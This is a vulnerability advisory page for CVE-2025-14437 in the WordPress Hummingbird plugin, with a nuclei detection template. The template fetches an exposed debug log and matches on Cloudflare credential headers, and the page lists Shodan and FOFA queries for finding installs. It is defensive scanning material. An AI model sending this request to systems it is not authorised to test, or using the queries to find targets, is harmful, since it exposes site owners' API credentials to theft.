HexBrain

Browse / CVEs / CVE-2025-14437

CVE-2025-14437· wpmudev / hummingbird-performance· CWE-532

WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File

highseverity
7.5CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.

Impact

Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.

Fix

Update to the latest version beyond 3.18.0.

How to confirm it

Send: GET /wp-content/wphb-logs/api-debug.log
Positive when: status_code == 200 and contains_all(body, "WPHB", "X-Auth-Key", "X-Auth-Email", "Authorization")

Run it with nuclei: nuclei -id CVE-2025-14437 -u <target>

The full check
id: CVE-2025-14437

info:
  name: WordPress Hummingbird <= 3.18.0 - Sensitive Information Exposure via Log File
  author: pussycat0x
  severity: high
  description: |
    Hummingbird Performance WordPress plugin <= 3.18.0 contains a sensitive information exposure caused by improper handling in the 'request' function, letting unauthenticated attackers extract sensitive data including Cloudflare API credentials, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can extract sensitive credentials, leading to potential account compromise and further attacks.
  remediation: |
    Update to the latest version beyond 3.18.0.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hummingbird-performance/hummingbird-3180-unauthenticated-sensitive-information-exposure-via-log-files
    - https://wpscan.com/vulnerability/cve-2025-14437
    - https://plugins.trac.wordpress.org/changeset/3421187/hummingbird-performance
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-14437
    epss-score: 0.01834
    epss-percentile: 0.79095
    cwe-id: CWE-532
  metadata:
    verified: true
    max-request: 1
    vendor: wpmudev
    product: hummingbird-performance
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/hummingbird-performance"
    fofa-query: body="/wp-content/plugins/hummingbird-performance"
  tags: cve,cve2025,wordpress,wp-plugin,hummingbird,exposure,cloudflare,wpmudev,vkev

http:
  - raw:
      - |
        GET /wp-content/wphb-logs/api-debug.log HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "WPHB", "X-Auth-Key", "X-Auth-Email", "Authorization")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from